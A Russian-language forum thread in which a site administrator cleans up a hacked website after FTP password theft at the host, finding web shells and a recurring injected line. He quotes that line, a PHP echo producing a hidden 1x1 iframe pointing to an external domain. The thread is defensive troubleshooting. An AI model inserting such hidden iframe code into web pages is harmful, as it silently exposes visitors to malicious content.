Мой сайт заражён. Борьбу проигрываю. Прошу помощи

Проверил сегодня сайт, за которым меня попросил присмотреть приятель: _http://www.sochi-medved.ru/

Во время загрузки обращается к пяти сторонним узлам. Из каталога вычистил несколько файлов, которые появились несанкционированно - "arm.php", "1.php" и "ps.php". Закрыл все доступы. Снял права на запись со всех папок. В папке "cgi-bin" был скрипт "cgitelnet.pl" - удалил. Поменял пароли на панель управления и фтп-доступ. Но при загрузке по прежнему обращается к каким-то хакерским узлам. ФФ просто вылетает. Опера предлагает поставить "чистильщик реестра".

Хостер, незадолго до этого, сообщал о массовом воровстве паролей ФТП у него и просил всё поменять. Я это сделал. Но, видимо, опоздал. Мои компы чистые. ОСтальные сайты - полтора десятка - тоже чистые. Залезли через хостера - 100%.

Саппорт, в ответ на просьбу о помощи, написал: "Со своей стороны, можем удалить вставленные вирусом строчки из файлов (нужно указать пример строки которую нужно удалить из файлов)".

Что делать, подскажите? Где чистить? Спасибо.

Чистить - ваш компьютер.
Прочитайте [URL="http://virusinfo.info/showthread.php?t=9116"]здесь[/URL], а потом выполните [URL="http://virusinfo.info/showthread.php?t=1235"]правила[/URL].

Да, вот ещё что. Стартовую страницу "index.php" тоже почистил. В конце была строка:
[CODE]echo "<iframe src='http://www.rad*ay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>";[/CODE]
Не помогает. Снова появляется. БД нужно чистить?

anton_dr
Всё это прочёл ещё до регистрации. Компьютер чистый. IE вообще не пользуюсь. Хищение паролей, причём массовое, произошло у хостера. Он об этом сам сообщал. Речь не о том. Где и что они ещё успели прописать? Сторонних файлов не осталось.
Конечно, можно снести движок, но у меня чисто спортивный интрес уже возник. Надо бы победить эту заразу. Если допустить, что БД испорчена - что искать в ней? Какие текстовые поля могут относиться к вирусу?

Может лучше остаться в какой-то одной теме, чем сразу в двух? Консультанты одни и те же...
P.S.: [B]shinkareff[/B] создал такую же тему на форуме ЛК. Вот ссылка [url]http://forum.kaspersky.com/index.php?showtopic=39219[/url]

Всё, победил. Главная подгружается ещё из папки "систем". Там два файла пришлось полечить - "login.php" и "index.php". Строчку в обоих убрал в конце. Спасибо.

MaXim, извините, не думал, что это зеркала. Паника, знаете ли, влияет на здравый смысл иногда.

Страшного ни чего нет, просто путаница возникает.

[QUOTE=shinkareff;112174]
MaXim, извините, не думал, что это зеркала. Паника, знаете ли, влияет на здравый смысл иногда.[/QUOTE]

Это не зеркала :). Помогаем и там, и здесь.

И не все одни и те же..